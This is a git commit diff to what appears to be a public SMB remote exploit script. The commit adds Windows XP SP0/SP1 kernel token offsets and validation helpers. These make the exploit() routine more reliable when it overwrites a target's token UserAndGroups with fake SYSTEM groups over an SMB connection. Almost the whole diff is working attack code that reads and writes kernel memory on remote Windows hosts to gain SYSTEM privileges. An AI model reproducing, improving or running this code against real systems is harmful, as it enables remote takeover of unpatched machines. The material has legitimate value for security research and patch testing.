Merge pull request #24 from zerosum0x0/xpsp0sp1
Fix offsets on XP SP0 and SP1
This commit is contained in:
@@ -154,6 +154,8 @@ WINXP_32_SESSION_INFO = {
|
|||||||
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
|
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
|
||||||
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
|
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
|
||||||
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
|
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
|
||||||
|
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
|
||||||
|
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
|
||||||
}
|
}
|
||||||
|
|
||||||
WIN2K_32_SESSION_INFO = {
|
WIN2K_32_SESSION_INFO = {
|
||||||
@@ -865,16 +867,14 @@ def exploit(target, pipe_name):
|
|||||||
# copy Token data for restoration
|
# copy Token data for restoration
|
||||||
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
|
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
|
||||||
|
|
||||||
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
|
# parse necessary data out of token
|
||||||
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
|
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
|
||||||
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
|
|
||||||
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
|
|
||||||
|
|
||||||
print('overwriting token UserAndGroups')
|
print('overwriting token UserAndGroups')
|
||||||
# modify UserAndGroups info
|
# modify UserAndGroups info
|
||||||
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
|
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
|
||||||
if fakeUserAndGroupCount != userAndGroupCount:
|
if fakeUserAndGroupCount != userAndGroupCount:
|
||||||
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
|
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
|
||||||
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
||||||
else:
|
else:
|
||||||
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
|
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
|
||||||
@@ -898,7 +898,7 @@ def exploit(target, pipe_name):
|
|||||||
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
|
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
|
||||||
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
|
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
|
||||||
if fakeUserAndGroupCount != userAndGroupCount:
|
if fakeUserAndGroupCount != userAndGroupCount:
|
||||||
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
|
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
|
||||||
else:
|
else:
|
||||||
write_data(conn, info, secCtxAddr, secCtxData)
|
write_data(conn, info, secCtxAddr, secCtxData)
|
||||||
|
|
||||||
@@ -907,6 +907,66 @@ def exploit(target, pipe_name):
|
|||||||
conn.get_socket().close()
|
conn.get_socket().close()
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
|
||||||
|
# struct _TOKEN:
|
||||||
|
# ...
|
||||||
|
# ULONG UserAndGroupCount; // Ro: 4-Bytes
|
||||||
|
# ULONG RestrictedSidCount; // Ro: 4-Bytes
|
||||||
|
# ...
|
||||||
|
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
|
||||||
|
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
|
||||||
|
# ...
|
||||||
|
|
||||||
|
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
|
||||||
|
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
|
||||||
|
|
||||||
|
# RestrictedSidCount MUST be 0
|
||||||
|
# RestrictedSids MUST be NULL
|
||||||
|
#
|
||||||
|
# userandGroupCount must NOT be 0
|
||||||
|
# userandGroupsAddr must NOT be NULL
|
||||||
|
#
|
||||||
|
# Could also add a failure point here if userAndGroupCount >= x
|
||||||
|
|
||||||
|
success = True
|
||||||
|
|
||||||
|
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
|
||||||
|
print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
|
||||||
|
print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
|
||||||
|
print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
|
||||||
|
success = False
|
||||||
|
|
||||||
|
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
|
||||||
|
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
|
||||||
|
|
||||||
|
return success, userAndGroupCount, userAndGroupsAddr
|
||||||
|
|
||||||
|
def get_group_data_from_token(info, tokenData):
|
||||||
|
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
|
||||||
|
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
|
||||||
|
|
||||||
|
# try with default offsets
|
||||||
|
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
|
||||||
|
|
||||||
|
# hack to fix XP SP0 and SP1
|
||||||
|
# I will avoid over-engineering a more elegant solution and leave this as a hack,
|
||||||
|
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
|
||||||
|
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
|
||||||
|
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
|
||||||
|
|
||||||
|
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
|
||||||
|
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
|
||||||
|
|
||||||
|
# try with hack offsets
|
||||||
|
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
|
||||||
|
|
||||||
|
# still no good. Abort because something is wrong
|
||||||
|
if not success:
|
||||||
|
print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
# token parsed and validated
|
||||||
|
return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
|
||||||
|
|
||||||
def smb_pwn(conn, arch):
|
def smb_pwn(conn, arch):
|
||||||
smbConn = conn.get_smbconnection()
|
smbConn = conn.get_smbconnection()
|
||||||
@@ -995,3 +1055,4 @@ pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
|
|||||||
|
|
||||||
exploit(target, pipe_name)
|
exploit(target, pipe_name)
|
||||||
print('Done')
|
print('Done')
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user